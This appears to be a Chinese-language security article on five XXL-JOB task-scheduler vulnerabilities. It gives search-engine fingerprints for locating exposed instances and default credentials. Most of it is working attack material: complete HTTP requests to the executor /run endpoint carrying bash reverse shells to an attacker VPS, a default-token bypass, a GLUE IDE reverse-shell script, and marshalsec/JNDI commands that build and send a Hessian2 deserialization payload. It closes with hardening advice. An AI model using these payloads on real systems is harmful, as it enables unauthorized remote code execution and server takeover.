XXL-JOB常见漏洞汇总
字数 3242 2025-10-18 11:17:50
XXL-JOB 常见漏洞分析与复现指南
一、产品简介
XXL-JOB 是一个轻量级、分布式的任务调度平台。其核心设计是将任务调度(调度中心,Admin)与任务执行(执行器,Executor)分离。调度中心负责统一管理、触发所有定时任务,而执行器则分布在不同的机器上,负责承载具体的业务逻辑。
- 核心价值:解决了分布式微服务架构下定时任务统一管理的难题,提供了Web界面进行任务管理、监控、告警,具有开箱即用、高可用、易扩展的特点。
- 官网地址:
https://www.xuxueli.com/xxl-job/
二、资产识别(指纹信息)
在渗透测试或安全评估中,首先需要识别目标系统是否为XXL-JOB。
| 类型 | 特征(可用于FOFA、Hunter等测绘平台) |
|---|---|
| 应用特征 | app="XXL-JOB" |
| 标题特征 | title="任务调度中心" |
| Body特征 | body="jobconf_trigger_type" |
| 图标特征 | icon_hash="1691956220" 或 web.icon=="421c7c35244591f892496fe4d6e51921" |
| 错误信息 | body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}" |
三、漏洞详解与复现
文章共总结了5个主要漏洞,下面将逐一解析。
漏洞1:弱口令漏洞
- 漏洞描述:XXL-JOB调度中心(Admin)的管理后台若使用默认或弱口令(如
admin/123456),攻击者可直接登录后台,为进一步利用(如后台RCE)获取权限。 - 复现步骤:
- 访问XXL-JOB调度中心登录页面(通常为
http://target:port/xxl-job-admin)。 - 尝试使用常见弱口令进行登录,例如
admin/123456。 - 登录成功后,即获得后台管理权限。
- 访问XXL-JOB调度中心登录页面(通常为
漏洞2:Executor未授权访问RCE
-
漏洞描述:XXL-JOB的执行器(Executor)端默认未配置认证。攻击者无需任何凭证即可通过其提供的RESTful API(
/run端点)远程执行命令。 -
影响版本:多个版本受影响,尤其在未正确配置认证的情况下。
-
复现步骤:
- 识别目标:发现XXL-JOB界面(不一定是登录页,Executor也可能有简单页面)。
- 构造Payload:向目标的
/run接口发送特制的POST请求。 - 利用:在请求体的
glueSource字段中填入要执行的系统命令。
-
漏洞利用POC(HTTP请求包):
POST /run HTTP/1.1 Host: <目标IP:端口> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Connection: close Content-Type: application/json Content-Length: 365 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", // 关键参数,指定为Shell模式 "glueSource": "/bin/bash -i >& /dev/tcp/<你的VPS_IP>/<监听端口> 0>&1", // 关键参数,填入要执行的命令,此处为反弹Shell命令 "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }- 在利用前,需在VPS上使用
nc -lvvp <监听端口>开启监听。 - 命令
glueSource可替换为ping dnslog.cn或curl dnslog.cn等进行无回显验证。
- 在利用前,需在VPS上使用
漏洞3:调度中心后台任意命令执行
- 漏洞描述:在已通过弱口令等方式获得XXL-JOB调度中心(Admin)后台权限的前提下,攻击者可以通过创建或编辑“GLUE模式”的任务,直接在Web界面的“GLUE IDE”中写入Shell命令并触发执行,从而获取服务器权限。
- 复现步骤:
- 登录XXL-JOB管理后台。
- 进入“任务管理”菜单,点击“新增”或编辑一个现有任务。
- 在任务配置中,将“运行模式”设置为 “GLUE(Shell)”。
- 点击下方的 “GLUE IDE” 按钮,在弹出的编辑器中写入要执行的Shell脚本。
#!/bin/bash bash -c 'exec bash -i &>/dev/tcp/<你的VPS_IP>/<监听端口> <&1' - 保存任务后,在任务列表中找到该任务,点击“操作”列下的“执行一次”。
- 检查VPS的NC监听器,成功获取反弹Shell。
漏洞4:API接口未授权Hessian2反序列化RCE
- 漏洞描述:XXL-JOB早期版本(<= 2.0.2)的
/xxl-job-admin/api接口存在未授权访问,并且前后端使用Hessian2序列化协议通信。攻击者可以构造恶意的Hessian2序列化数据发送至该接口,触发反序列化漏洞,导致远程代码执行。 - 影响版本:<= 2.0.2
- 复现步骤(基于文章描述的工具链):
- 准备恶意RMI服务:使用
JNDI-Injection-Exploit工具启动一个恶意的RMI服务器,指定要执行的命令。java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl http://your-dnslog.com" - 生成序列化Payload:使用
marshalsec工具,利用SpringAbstractBeanFactoryPointcutAdvisor链生成Hessian2格式的序列化数据。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://<你的RMI服务器IP>:1099/<生成的恶意路径> > payload.ser - 发送Payload:将生成的
payload.ser文件内容通过POST请求发送到目标的API接口。curl -X POST -H "Content-Type: x-application/hessian" --data-binary @payload.ser http://<目标地址>/xxl-job-admin/api - 验证:观察DNSLog平台或服务器日志,确认命令是否被执行。
- 准备恶意RMI服务:使用
漏洞5:默认AccessToken权限绕过RCE
-
漏洞描述:XXL-JOB用于调度中心与执行器之间通讯认证的
accessToken,如果在配置文件application.properties中未修改而使用默认值(空或default_token),攻击者可以在调用Executor的/run接口时,在请求头中填入默认的Token,从而绕过认证,实现未授权命令执行。 -
复现步骤:
- 该漏洞的利用方式与 漏洞2(Executor未授权) 极其相似,区别在于需要在HTTP请求头中增加一个
XXL-JOB-ACCESS-TOKEN字段。 - 发送以下POC:
- 漏洞利用POC(HTTP请求包):
POST /run HTTP/1.1 Host: <目标IP:端口> Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token // 关键头,尝试使用默认Token User-Agent: Java/1.8.0_391 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 323 Connection: close { "jobId": 287040, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "ping xxxx.dnslog.cn", // 或反弹Shell命令 "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
- 该漏洞的利用方式与 漏洞2(Executor未授权) 极其相似,区别在于需要在HTTP请求头中增加一个
四、自动化工具推荐
-
XXL-JOB ExploitGUI
- 简介:图形化漏洞利用工具,功能全面,支持检测和利用上述大部分漏洞。
- 功能:单目标/批量扫描、多种漏洞检测、命令执行、内存马注入、代理设置、结果导出等。
- 地址:
https://github.com/charonlight/xxl-jobExploitGUI
-
afrog
- 简介:一款高性能的漏洞扫描器,内置了XXL-JOB的POC。
- 用法:
# 扫描单个目标 afrog -t http://target.com -s xxl-job # 批量扫描目标文件中的地址 afrog -T targets.txt -s xxl-job -o result.html # 列出所有与xxl-job相关的POC afrog -s xxl-job -pl
五、总结与安全建议
XXL-JOB的漏洞主要源于 默认配置不安全(弱口令、默认Token)、权限校验缺失(Executor、API未授权)以及 组件自身漏洞(Hessian2反序列化)。
安全加固建议:
- 修改默认密码:安装后立即修改管理后台的默认密码。
- 强化认证:为Executor配置强力的
accessToken,并确保调度中心配置的Token与之匹配。 - 网络隔离:将XXL-JOB调度中心和执行器部署在内网,限制外网访问。如果执行器需要对外服务,应严格设置防火墙策略,仅允许调度中心IP访问其API端口。
- 及时升级:保持XXL-JOB版本为最新,特别是修复了已知安全漏洞的版本。
- 最小权限原则:运行XXL-JOB的账户不应具有过高系统权限。
希望这份详尽的文档能对您的学习或工作有所帮助。请注意,所有技术信息仅应用于安全研究、教学或授权测试,切勿用于非法用途。